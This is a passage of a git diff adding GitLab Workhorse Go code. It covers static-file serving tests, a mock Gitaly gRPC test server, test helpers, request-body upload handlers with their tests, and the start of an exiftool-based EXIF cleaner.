+ st.ServeExisting("/", CacheDisabled, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 404, w.Code)
+}
+
+func TestServingMalformedUri(t *testing.T) {
+ dir := "/path/to/non/existing/directory"
+ httpRequest, _ := http.NewRequest("GET", "/../../../static/file", nil)
+
+ w := httptest.NewRecorder()
+ st := &Static{dir}
+ st.ServeExisting("/", CacheDisabled, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 404, w.Code)
+}
+
+func TestExecutingHandlerWhenNoFileFound(t *testing.T) {
+ dir := "/path/to/non/existing/directory"
+ httpRequest, _ := http.NewRequest("GET", "/file", nil)
+
+ executed := false
+ st := &Static{dir}
+ st.ServeExisting("/", CacheDisabled, http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) {
+ executed = (r == httpRequest)
+ })).ServeHTTP(nil, httpRequest)
+ if !executed {
+ t.Error("The handler should get executed")
+ }
+}
+
+func TestServingTheActualFile(t *testing.T) {
+ dir, err := ioutil.TempDir("", "deploy")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ httpRequest, _ := http.NewRequest("GET", "/file", nil)
+
+ fileContent := "STATIC"
+ ioutil.WriteFile(filepath.Join(dir, "file"), []byte(fileContent), 0600)
+
+ w := httptest.NewRecorder()
+ st := &Static{dir}
+ st.ServeExisting("/", CacheDisabled, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 200, w.Code)
+ if w.Body.String() != fileContent {
+ t.Error("We should serve the file: ", w.Body.String())
+ }
+}
+
+func testServingThePregzippedFile(t *testing.T, enableGzip bool) {
+ dir, err := ioutil.TempDir("", "deploy")
+ if err != nil {
+ t.Fatal(err)
+ }
+ defer os.RemoveAll(dir)
+
+ httpRequest, _ := http.NewRequest("GET", "/file", nil)
+
+ if enableGzip {
+ httpRequest.Header.Set("Accept-Encoding", "gzip, deflate")
+ }
+
+ fileContent := "STATIC"
+
+ var fileGzipContent bytes.Buffer
+ fileGzip := gzip.NewWriter(&fileGzipContent)
+ fileGzip.Write([]byte(fileContent))
+ fileGzip.Close()
+
+ ioutil.WriteFile(filepath.Join(dir, "file.gz"), fileGzipContent.Bytes(), 0600)
+ ioutil.WriteFile(filepath.Join(dir, "file"), []byte(fileContent), 0600)
+
+ w := httptest.NewRecorder()
+ st := &Static{dir}
+ st.ServeExisting("/", CacheDisabled, nil).ServeHTTP(w, httpRequest)
+ require.Equal(t, 200, w.Code)
+ if enableGzip {
+ testhelper.RequireResponseHeader(t, w, "Content-Encoding", "gzip")
+ if !bytes.Equal(w.Body.Bytes(), fileGzipContent.Bytes()) {
+ t.Error("We should serve the pregzipped file")
+ }
+ } else {
+ require.Equal(t, 200, w.Code)
+ testhelper.RequireResponseHeader(t, w, "Content-Encoding")
+ if w.Body.String() != fileContent {
+ t.Error("We should serve the file: ", w.Body.String())
+ }
+ }
+}
+
+func TestServingThePregzippedFile(t *testing.T) {
+ testServingThePregzippedFile(t, true)
+}
+
+func TestServingThePregzippedFileWithoutEncoding(t *testing.T) {
+ testServingThePregzippedFile(t, false)
+}
diff --git a/workhorse/internal/staticpages/static.go b/workhorse/internal/staticpages/static.go
new file mode 100644
index 00000000000..b42351f15f5
--- /dev/null
+++ b/workhorse/internal/staticpages/static.go
@@ -0,0 +1,5 @@
+package staticpages
+
+type Static struct {
+ DocumentRoot string
+}
diff --git a/workhorse/internal/testhelper/gitaly.go b/workhorse/internal/testhelper/gitaly.go
new file mode 100644
index 00000000000..24884505440
--- /dev/null
+++ b/workhorse/internal/testhelper/gitaly.go
@@ -0,0 +1,384 @@
+package testhelper
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ "path"
+ "strings"
+ "sync"
+
+ "github.com/golang/protobuf/jsonpb" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+ "github.com/golang/protobuf/proto" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
+ "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/labkit/log"
+ "golang.org/x/net/context"
+ "google.golang.org/grpc/codes"
+ "google.golang.org/grpc/metadata"
+ "google.golang.org/grpc/status"
+)
+
+type GitalyTestServer struct {
+ finalMessageCode codes.Code
+ sync.WaitGroup
+ LastIncomingMetadata metadata.MD
+ gitalypb.UnimplementedRepositoryServiceServer
+ gitalypb.UnimplementedBlobServiceServer
+ gitalypb.UnimplementedDiffServiceServer
+}
+
+var (
+ GitalyInfoRefsResponseMock = strings.Repeat("Mock Gitaly InfoRefsResponse data", 100000)
+ GitalyGetBlobResponseMock = strings.Repeat("Mock Gitaly GetBlobResponse data", 100000)
+ GitalyGetArchiveResponseMock = strings.Repeat("Mock Gitaly GetArchiveResponse data", 100000)
+ GitalyGetDiffResponseMock = strings.Repeat("Mock Gitaly GetDiffResponse data", 100000)
+ GitalyGetPatchResponseMock = strings.Repeat("Mock Gitaly GetPatchResponse data", 100000)
+
+ GitalyGetSnapshotResponseMock = strings.Repeat("Mock Gitaly GetSnapshotResponse data", 100000)
+
+ GitalyReceivePackResponseMock []byte
+ GitalyUploadPackResponseMock []byte
+)
+
+func init() {
+ var err error
+ if GitalyReceivePackResponseMock, err = ioutil.ReadFile(path.Join(RootDir(), "testdata/receive-pack-fixture.txt")); err != nil {
+ log.WithError(err).Fatal("Unable to read pack response")
+ }
+ if GitalyUploadPackResponseMock, err = ioutil.ReadFile(path.Join(RootDir(), "testdata/upload-pack-fixture.txt")); err != nil {
+ log.WithError(err).Fatal("Unable to read pack response")
+ }
+}
+
+func NewGitalyServer(finalMessageCode codes.Code) *GitalyTestServer {
+ return &GitalyTestServer{finalMessageCode: finalMessageCode}
+}
+
+func (s *GitalyTestServer) InfoRefsUploadPack(in *gitalypb.InfoRefsRequest, stream gitalypb.SmartHTTPService_InfoRefsUploadPackServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ if err := validateRepository(in.GetRepository()); err != nil {
+ return err
+ }
+
+ fmt.Printf("Result: %+v\n", in)
+
+ marshaler := &jsonpb.Marshaler{}
+ jsonString, err := marshaler.MarshalToString(in)
+ if err != nil {
+ return err
+ }
+
+ data := []byte(strings.Join([]string{
+ jsonString,
+ "git-upload-pack",
+ GitalyInfoRefsResponseMock,
+ }, "\000"))
+
+ s.LastIncomingMetadata = nil
+ if md, ok := metadata.FromIncomingContext(stream.Context()); ok {
+ s.LastIncomingMetadata = md
+ }
+
+ return s.sendInfoRefs(stream, data)
+}
+
+func (s *GitalyTestServer) InfoRefsReceivePack(in *gitalypb.InfoRefsRequest, stream gitalypb.SmartHTTPService_InfoRefsReceivePackServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ if err := validateRepository(in.GetRepository()); err != nil {
+ return err
+ }
+
+ fmt.Printf("Result: %+v\n", in)
+
+ jsonString, err := marshalJSON(in)
+ if err != nil {
+ return err
+ }
+
+ data := []byte(strings.Join([]string{
+ jsonString,
+ "git-receive-pack",
+ GitalyInfoRefsResponseMock,
+ }, "\000"))
+
+ return s.sendInfoRefs(stream, data)
+}
+
+func marshalJSON(msg proto.Message) (string, error) {
+ marshaler := &jsonpb.Marshaler{}
+ return marshaler.MarshalToString(msg)
+}
+
+type infoRefsSender interface {
+ Send(*gitalypb.InfoRefsResponse) error
+}
+
+func (s *GitalyTestServer) sendInfoRefs(stream infoRefsSender, data []byte) error {
+ nSends, err := sendBytes(data, 100, func(p []byte) error {
+ return stream.Send(&gitalypb.InfoRefsResponse{Data: p})
+ })
+ if err != nil {
+ return err
+ }
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) PostReceivePack(stream gitalypb.SmartHTTPService_PostReceivePackServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ req, err := stream.Recv()
+ if err != nil {
+ return err
+ }
+
+ repo := req.GetRepository()
+ if err := validateRepository(repo); err != nil {
+ return err
+ }
+
+ jsonString, err := marshalJSON(req)
+ if err != nil {
+ return err
+ }
+
+ data := []byte(jsonString + "\000")
+
+ // The body of the request starts in the second message
+ for {
+ req, err := stream.Recv()
+ if err != nil {
+ if err != io.EOF {
+ return err
+ }
+ break
+ }
+
+ // We want to echo the request data back
+ data = append(data, req.GetData()...)
+ }
+
+ nSends, _ := sendBytes(data, 100, func(p []byte) error {
+ return stream.Send(&gitalypb.PostReceivePackResponse{Data: p})
+ })
+
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) PostUploadPack(stream gitalypb.SmartHTTPService_PostUploadPackServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ req, err := stream.Recv()
+ if err != nil {
+ return err
+ }
+
+ if err := validateRepository(req.GetRepository()); err != nil {
+ return err
+ }
+
+ jsonString, err := marshalJSON(req)
+ if err != nil {
+ return err
+ }
+
+ if err := stream.Send(&gitalypb.PostUploadPackResponse{
+ Data: []byte(strings.Join([]string{jsonString}, "\000") + "\000"),
+ }); err != nil {
+ return err
+ }
+
+ nSends := 0
+ // The body of the request starts in the second message. Gitaly streams PostUploadPack responses
+ // as soon as possible without reading the request completely first. We stream messages here
+ // directly back to the client to simulate the streaming of the actual implementation.
+ for {
+ req, err := stream.Recv()
+ if err != nil {
+ if err != io.EOF {
+ return err
+ }
+ break
+ }
+
+ if err := stream.Send(&gitalypb.PostUploadPackResponse{Data: req.GetData()}); err != nil {
+ return err
+ }
+
+ nSends++
+ }
+
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) CommitIsAncestor(ctx context.Context, in *gitalypb.CommitIsAncestorRequest) (*gitalypb.CommitIsAncestorResponse, error) {
+ return nil, nil
+}
+
+func (s *GitalyTestServer) GetBlob(in *gitalypb.GetBlobRequest, stream gitalypb.BlobService_GetBlobServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ if err := validateRepository(in.GetRepository()); err != nil {
+ return err
+ }
+
+ response := &gitalypb.GetBlobResponse{
+ Oid: in.GetOid(),
+ Size: int64(len(GitalyGetBlobResponseMock)),
+ }
+ nSends, err := sendBytes([]byte(GitalyGetBlobResponseMock), 100, func(p []byte) error {
+ response.Data = p
+
+ if err := stream.Send(response); err != nil {
+ return err
+ }
+
+ // Use a new response so we don't send other fields (Size, ...) over and over
+ response = &gitalypb.GetBlobResponse{}
+
+ return nil
+ })
+ if err != nil {
+ return err
+ }
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) GetArchive(in *gitalypb.GetArchiveRequest, stream gitalypb.RepositoryService_GetArchiveServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ if err := validateRepository(in.GetRepository()); err != nil {
+ return err
+ }
+
+ nSends, err := sendBytes([]byte(GitalyGetArchiveResponseMock), 100, func(p []byte) error {
+ return stream.Send(&gitalypb.GetArchiveResponse{Data: p})
+ })
+ if err != nil {
+ return err
+ }
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) RawDiff(in *gitalypb.RawDiffRequest, stream gitalypb.DiffService_RawDiffServer) error {
+ nSends, err := sendBytes([]byte(GitalyGetDiffResponseMock), 100, func(p []byte) error {
+ return stream.Send(&gitalypb.RawDiffResponse{
+ Data: p,
+ })
+ })
+ if err != nil {
+ return err
+ }
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) RawPatch(in *gitalypb.RawPatchRequest, stream gitalypb.DiffService_RawPatchServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ if err := validateRepository(in.GetRepository()); err != nil {
+ return err
+ }
+
+ nSends, err := sendBytes([]byte(GitalyGetPatchResponseMock), 100, func(p []byte) error {
+ return stream.Send(&gitalypb.RawPatchResponse{
+ Data: p,
+ })
+ })
+ if err != nil {
+ return err
+ }
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+func (s *GitalyTestServer) GetSnapshot(in *gitalypb.GetSnapshotRequest, stream gitalypb.RepositoryService_GetSnapshotServer) error {
+ s.WaitGroup.Add(1)
+ defer s.WaitGroup.Done()
+
+ if err := validateRepository(in.GetRepository()); err != nil {
+ return err
+ }
+
+ nSends, err := sendBytes([]byte(GitalyGetSnapshotResponseMock), 100, func(p []byte) error {
+ return stream.Send(&gitalypb.GetSnapshotResponse{Data: p})
+ })
+ if err != nil {
+ return err
+ }
+ if nSends <= 1 {
+ panic("should have sent more than one message")
+ }
+
+ return s.finalError()
+}
+
+// sendBytes returns the number of times the 'sender' function was called and an error.
+func sendBytes(data []byte, chunkSize int, sender func([]byte) error) (int, error) {
+ i := 0
+ for ; len(data) > 0; i++ {
+ n := chunkSize
+ if n > len(data) {
+ n = len(data)
+ }
+
+ if err := sender(data[:n]); err != nil {
+ return i, err
+ }
+ data = data[n:]
+ }
+
+ return i, nil
+}
+
+func (s *GitalyTestServer) finalError() error {
+ if code := s.finalMessageCode; code != codes.OK {
+ return status.Errorf(code, "error as specified by test")
+ }
+
+ return nil
+}
+
+func validateRepository(repo *gitalypb.Repository) error {
+ if len(repo.GetStorageName()) == 0 {
+ return fmt.Errorf("missing storage_name: %v", repo)
+ }
+ if len(repo.GetRelativePath()) == 0 {
+ return fmt.Errorf("missing relative_path: %v", repo)
+ }
+ return nil
+}
diff --git a/workhorse/internal/testhelper/testhelper.go b/workhorse/internal/testhelper/testhelper.go
new file mode 100644
index 00000000000..40097bd453a
--- /dev/null
+++ b/workhorse/internal/testhelper/testhelper.go
@@ -0,0 +1,152 @@
+package testhelper
+
+import (
+ "errors"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path"
+ "regexp"
+ "runtime"
+ "testing"
+ "time"
+
+ "github.com/dgrijalva/jwt-go"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/secret"
+)
+
+func ConfigureSecret() {
+ secret.SetPath(path.Join(RootDir(), "testdata/test-secret"))
+}
+
+func RequireResponseBody(t *testing.T, response *httptest.ResponseRecorder, expectedBody string) {
+ t.Helper()
+ require.Equal(t, expectedBody, response.Body.String(), "response body")
+}
+
+func RequireResponseHeader(t *testing.T, w interface{}, header string, expected ...string) {
+ t.Helper()
+ var actual []string
+
+ header = http.CanonicalHeaderKey(header)
+ type headerer interface{ Header() http.Header }
+
+ switch resp := w.(type) {
+ case *http.Response:
+ actual = resp.Header[header]
+ case headerer:
+ actual = resp.Header()[header]
+ default:
+ t.Fatal("invalid type of w passed RequireResponseHeader")
+ }
+
+ require.Equal(t, expected, actual, "values for HTTP header %s", header)
+}
+
+func TestServerWithHandler(url *regexp.Regexp, handler http.HandlerFunc) *httptest.Server {
+ return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ logEntry := log.WithFields(log.Fields{
+ "method": r.Method,
+ "url": r.URL,
+ "action": "DENY",
+ })
+
+ if url != nil && !url.MatchString(r.URL.Path) {
+ logEntry.Info("UPSTREAM")
+ w.WriteHeader(404)
+ return
+ }
+
+ if version := r.Header.Get("Gitlab-Workhorse"); version == "" {
+ logEntry.Info("UPSTREAM")
+ w.WriteHeader(403)
+ return
+ }
+
+ handler(w, r)
+ }))
+}
+
+var workhorseExecutables = []string{"gitlab-workhorse", "gitlab-zip-cat", "gitlab-zip-metadata", "gitlab-resize-image"}
+
+func BuildExecutables() error {
+ rootDir := RootDir()
+
+ for _, exe := range workhorseExecutables {
+ if _, err := os.Stat(path.Join(rootDir, exe)); os.IsNotExist(err) {
+ return fmt.Errorf("cannot find executable %s. Please run 'make prepare-tests'", exe)
+ }
+ }
+
+ oldPath := os.Getenv("PATH")
+ testPath := fmt.Sprintf("%s:%s", rootDir, oldPath)
+ if err := os.Setenv("PATH", testPath); err != nil {
+ return fmt.Errorf("failed to set PATH to %v", testPath)
+ }
+
+ return nil
+}
+
+func RootDir() string {
+ _, currentFile, _, ok := runtime.Caller(0)
+ if !ok {
+ panic(errors.New("RootDir: calling runtime.Caller failed"))
+ }
+ return path.Join(path.Dir(currentFile), "../..")
+}
+
+func LoadFile(t *testing.T, filePath string) string {
+ t.Helper()
+ content, err := ioutil.ReadFile(path.Join(RootDir(), filePath))
+ require.NoError(t, err)
+ return string(content)
+}
+
+func ReadAll(t *testing.T, r io.Reader) []byte {
+ t.Helper()
+
+ b, err := ioutil.ReadAll(r)
+ require.NoError(t, err)
+ return b
+}
+
+func ParseJWT(token *jwt.Token) (interface{}, error) {
+ // Don't forget to validate the alg is what you expect:
+ if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
+ return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
+ }
+
+ ConfigureSecret()
+ secretBytes, err := secret.Bytes()
+ if err != nil {
+ return nil, fmt.Errorf("read secret from file: %v", err)
+ }
+
+ return secretBytes, nil
+}
+
+// UploadClaims represents the JWT claim for upload parameters
+type UploadClaims struct {
+ Upload map[string]string `json:"upload"`
+ jwt.StandardClaims
+}
+
+func Retry(t testing.TB, timeout time.Duration, fn func() error) {
+ t.Helper()
+ start := time.Now()
+ var err error
+ for ; time.Since(start) < timeout; time.Sleep(time.Millisecond) {
+ err = fn()
+ if err == nil {
+ return
+ }
+ }
+ t.Fatalf("test timeout after %v; last error: %v", timeout, err)
+}
diff --git a/workhorse/internal/upload/accelerate.go b/workhorse/internal/upload/accelerate.go
new file mode 100644
index 00000000000..7d8ea51b14d
--- /dev/null
+++ b/workhorse/internal/upload/accelerate.go
@@ -0,0 +1,32 @@
+package upload
+
+import (
+ "fmt"
+ "net/http"
+
+ "github.com/dgrijalva/jwt-go"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+const RewrittenFieldsHeader = "Gitlab-Workhorse-Multipart-Fields"
+
+type MultipartClaims struct {
+ RewrittenFields map[string]string `json:"rewritten_fields"`
+ jwt.StandardClaims
+}
+
+func Accelerate(rails PreAuthorizer, h http.Handler, p Preparer) http.Handler {
+ return rails.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
+ s := &SavedFileTracker{Request: r}
+
+ opts, _, err := p.Prepare(a)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("Accelerate: error preparing file storage options"))
+ return
+ }
+
+ HandleFileUploads(w, r, h, a, s, opts)
+ }, "/authorize")
+}
diff --git a/workhorse/internal/upload/body_uploader.go b/workhorse/internal/upload/body_uploader.go
new file mode 100644
index 00000000000..2cee90195fb
--- /dev/null
+++ b/workhorse/internal/upload/body_uploader.go
@@ -0,0 +1,90 @@
+package upload
+
+import (
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "net/url"
+ "strings"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+type PreAuthorizer interface {
+ PreAuthorizeHandler(next api.HandleFunc, suffix string) http.Handler
+}
+
+// Verifier allows to check an upload before sending it to rails
+type Verifier interface {
+ // Verify can abort the upload returning an error
+ Verify(handler *filestore.FileHandler) error
+}
+
+// Preparer allows to customize BodyUploader configuration
+type Preparer interface {
+ // Prepare converts api.Response into a *SaveFileOpts, it can optionally return an Verifier that will be
+ // invoked after the real upload, before the finalization with rails
+ Prepare(a *api.Response) (*filestore.SaveFileOpts, Verifier, error)
+}
+
+type DefaultPreparer struct{}
+
+func (s *DefaultPreparer) Prepare(a *api.Response) (*filestore.SaveFileOpts, Verifier, error) {
+ opts, err := filestore.GetOpts(a)
+ return opts, nil, err
+}
+
+// BodyUploader is an http.Handler that perform a pre authorization call to rails before hijacking the request body and
+// uploading it.
+// Providing an Preparer allows to customize the upload process
+func BodyUploader(rails PreAuthorizer, h http.Handler, p Preparer) http.Handler {
+ return rails.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
+ opts, verifier, err := p.Prepare(a)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("BodyUploader: preparation failed: %v", err))
+ return
+ }
+
+ fh, err := filestore.SaveFileFromReader(r.Context(), r.Body, r.ContentLength, opts)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("BodyUploader: upload failed: %v", err))
+ return
+ }
+
+ if verifier != nil {
+ if err := verifier.Verify(fh); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("BodyUploader: verification failed: %v", err))
+ return
+ }
+ }
+
+ data := url.Values{}
+ fields, err := fh.GitLabFinalizeFields("file")
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("BodyUploader: finalize fields failed: %v", err))
+ return
+ }
+
+ for k, v := range fields {
+ data.Set(k, v)
+ }
+
+ // Hijack body
+ body := data.Encode()
+ r.Body = ioutil.NopCloser(strings.NewReader(body))
+ r.ContentLength = int64(len(body))
+ r.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+
+ sft := SavedFileTracker{Request: r}
+ sft.Track("file", fh.LocalPath)
+ if err := sft.Finalize(r.Context()); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("BodyUploader: finalize failed: %v", err))
+ return
+ }
+
+ // And proxy the request
+ h.ServeHTTP(w, r)
+ }, "/authorize")
+}
diff --git a/workhorse/internal/upload/body_uploader_test.go b/workhorse/internal/upload/body_uploader_test.go
new file mode 100644
index 00000000000..451d7c97fab
--- /dev/null
+++ b/workhorse/internal/upload/body_uploader_test.go
@@ -0,0 +1,195 @@
+package upload
+
+import (
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "strconv"
+ "strings"
+ "testing"
+
+ "github.com/dgrijalva/jwt-go"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+const (
+ fileContent = "A test file content"
+ fileLen = len(fileContent)
+)
+
+func TestBodyUploader(t *testing.T) {
+ testhelper.ConfigureSecret()
+
+ body := strings.NewReader(fileContent)
+
+ resp := testUpload(&rails{}, &alwaysLocalPreparer{}, echoProxy(t, fileLen), body)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ uploadEcho, err := ioutil.ReadAll(resp.Body)
+
+ require.NoError(t, err, "Can't read response body")
+ require.Equal(t, fileContent, string(uploadEcho))
+}
+
+func TestBodyUploaderCustomPreparer(t *testing.T) {
+ body := strings.NewReader(fileContent)
+
+ resp := testUpload(&rails{}, &alwaysLocalPreparer{}, echoProxy(t, fileLen), body)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ uploadEcho, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err, "Can't read response body")
+ require.Equal(t, fileContent, string(uploadEcho))
+}
+
+func TestBodyUploaderCustomVerifier(t *testing.T) {
+ body := strings.NewReader(fileContent)
+ verifier := &mockVerifier{}
+
+ resp := testUpload(&rails{}, &alwaysLocalPreparer{verifier: verifier}, echoProxy(t, fileLen), body)
+ require.Equal(t, http.StatusOK, resp.StatusCode)
+
+ uploadEcho, err := ioutil.ReadAll(resp.Body)
+ require.NoError(t, err, "Can't read response body")
+ require.Equal(t, fileContent, string(uploadEcho))
+ require.True(t, verifier.invoked, "Verifier.Verify not invoked")
+}
+
+func TestBodyUploaderAuthorizationFailure(t *testing.T) {
+ testNoProxyInvocation(t, http.StatusUnauthorized, &rails{unauthorized: true}, &alwaysLocalPreparer{})
+}
+
+func TestBodyUploaderErrors(t *testing.T) {
+ tests := []struct {
+ name string
+ preparer *alwaysLocalPreparer
+ }{
+ {name: "Prepare failure", preparer: &alwaysLocalPreparer{prepareError: fmt.Errorf("")}},
+ {name: "Verify failure", preparer: &alwaysLocalPreparer{verifier: &alwaysFailsVerifier{}}},
+ }
+
+ for _, test := range tests {
+ t.Run(test.name, func(t *testing.T) {
+ testNoProxyInvocation(t, http.StatusInternalServerError, &rails{}, test.preparer)
+ })
+ }
+}
+
+func testNoProxyInvocation(t *testing.T, expectedStatus int, auth PreAuthorizer, preparer Preparer) {
+ proxy := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ require.Fail(t, "request proxied upstream")
+ })
+
+ resp := testUpload(auth, preparer, proxy, nil)
+ require.Equal(t, expectedStatus, resp.StatusCode)
+}
+
+func testUpload(auth PreAuthorizer, preparer Preparer, proxy http.Handler, body io.Reader) *http.Response {
+ req := httptest.NewRequest("POST", "http://example.com/upload", body)
+ w := httptest.NewRecorder()
+
+ BodyUploader(auth, proxy, preparer).ServeHTTP(w, req)
+
+ return w.Result()
+}
+
+func echoProxy(t *testing.T, expectedBodyLength int) http.Handler {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ err := r.ParseForm()
+ require.NoError(t, err)
+
+ require.Equal(t, "application/x-www-form-urlencoded", r.Header.Get("Content-Type"), "Wrong Content-Type header")
+
+ require.Contains(t, r.PostForm, "file.md5")
+ require.Contains(t, r.PostForm, "file.sha1")
+ require.Contains(t, r.PostForm, "file.sha256")
+ require.Contains(t, r.PostForm, "file.sha512")
+
+ require.Contains(t, r.PostForm, "file.path")
+ require.Contains(t, r.PostForm, "file.size")
+ require.Contains(t, r.PostForm, "file.gitlab-workhorse-upload")
+ require.Equal(t, strconv.Itoa(expectedBodyLength), r.PostFormValue("file.size"))
+
+ token, err := jwt.ParseWithClaims(r.Header.Get(RewrittenFieldsHeader), &MultipartClaims{}, testhelper.ParseJWT)
+ require.NoError(t, err, "Wrong JWT header")
+
+ rewrittenFields := token.Claims.(*MultipartClaims).RewrittenFields
+ if len(rewrittenFields) != 1 || len(rewrittenFields["file"]) == 0 {
+ t.Fatalf("Unexpected rewritten_fields value: %v", rewrittenFields)
+ }
+
+ token, jwtErr := jwt.ParseWithClaims(r.PostFormValue("file.gitlab-workhorse-upload"), &testhelper.UploadClaims{}, testhelper.ParseJWT)
+ require.NoError(t, jwtErr, "Wrong signed upload fields")
+
+ uploadFields := token.Claims.(*testhelper.UploadClaims).Upload
+ require.Contains(t, uploadFields, "name")
+ require.Contains(t, uploadFields, "path")
+ require.Contains(t, uploadFields, "remote_url")
+ require.Contains(t, uploadFields, "remote_id")
+ require.Contains(t, uploadFields, "size")
+ require.Contains(t, uploadFields, "md5")
+ require.Contains(t, uploadFields, "sha1")
+ require.Contains(t, uploadFields, "sha256")
+ require.Contains(t, uploadFields, "sha512")
+
+ path := r.PostFormValue("file.path")
+ uploaded, err := os.Open(path)
+ require.NoError(t, err, "File not uploaded")
+
+ //sending back the file for testing purpose
+ io.Copy(w, uploaded)
+ })
+}
+
+type rails struct {
+ unauthorized bool
+}
+
+func (r *rails) PreAuthorizeHandler(next api.HandleFunc, _ string) http.Handler {
+ if r.unauthorized {
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusUnauthorized)
+ })
+ }
+
+ return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ next(w, r, &api.Response{TempPath: os.TempDir()})
+ })
+}
+
+type alwaysLocalPreparer struct {
+ verifier Verifier
+ prepareError error
+}
+
+func (a *alwaysLocalPreparer) Prepare(_ *api.Response) (*filestore.SaveFileOpts, Verifier, error) {
+ opts, err := filestore.GetOpts(&api.Response{TempPath: os.TempDir()})
+ if err != nil {
+ return nil, nil, err
+ }
+
+ return opts, a.verifier, a.prepareError
+}
+
+type alwaysFailsVerifier struct{}
+
+func (alwaysFailsVerifier) Verify(handler *filestore.FileHandler) error {
+ return fmt.Errorf("Verification failed")
+}
+
+type mockVerifier struct {
+ invoked bool
+}
+
+func (m *mockVerifier) Verify(handler *filestore.FileHandler) error {
+ m.invoked = true
+
+ return nil
+}
diff --git a/workhorse/internal/upload/exif/exif.go b/workhorse/internal/upload/exif/exif.go
new file mode 100644
index 00000000000..a9307b1ca90
--- /dev/null
+++ b/workhorse/internal/upload/exif/exif.go
@@ -0,0 +1,107 @@
+package exif
+
+import (
+ "bytes"
+ "context"
+ "errors"
+ "fmt"
+ "io"
+ "os/exec"
+ "regexp"
+
+ "gitlab.com/gitlab-org/labkit/log"
+)
+
+var ErrRemovingExif = errors.New("error while removing EXIF")
+
+type cleaner struct {
+ ctx context.Context
+ cmd *exec.Cmd
+ stdout io.Reader
+ stderr bytes.Buffer
+ eof bool
+}
+
+func NewCleaner(ctx context.Context, stdin io.Reader) (io.ReadCloser, error) {
+ c := &cleaner{ctx: ctx}
+
+ if err := c.startProcessing(stdin); err != nil {
+ return nil, err
+ }
+
+ return c, nil
+}
+
+func (c *cleaner) Close() error {
+ if c.cmd == nil {
+ return nil
+ }
+
+ return c.cmd.Wait()
+}
+
+func (c *cleaner) Read(p []byte) (int, error) {
+ if c.eof {
+ return 0, io.EOF
+ }
+
+ n, err := c.stdout.Read(p)
+ if err == io.EOF {
+ if waitErr := c.cmd.Wait(); waitErr != nil {
+ log.WithContextFields(c.ctx, log.Fields{
+ "command": c.cmd.Args,
+ "stderr": c.stderr.String(),
+ "error": waitErr.Error(),
+ }).Print("exiftool command failed")
+
+ return n, ErrRemovingExif
+ }
+
+ c.eof = true
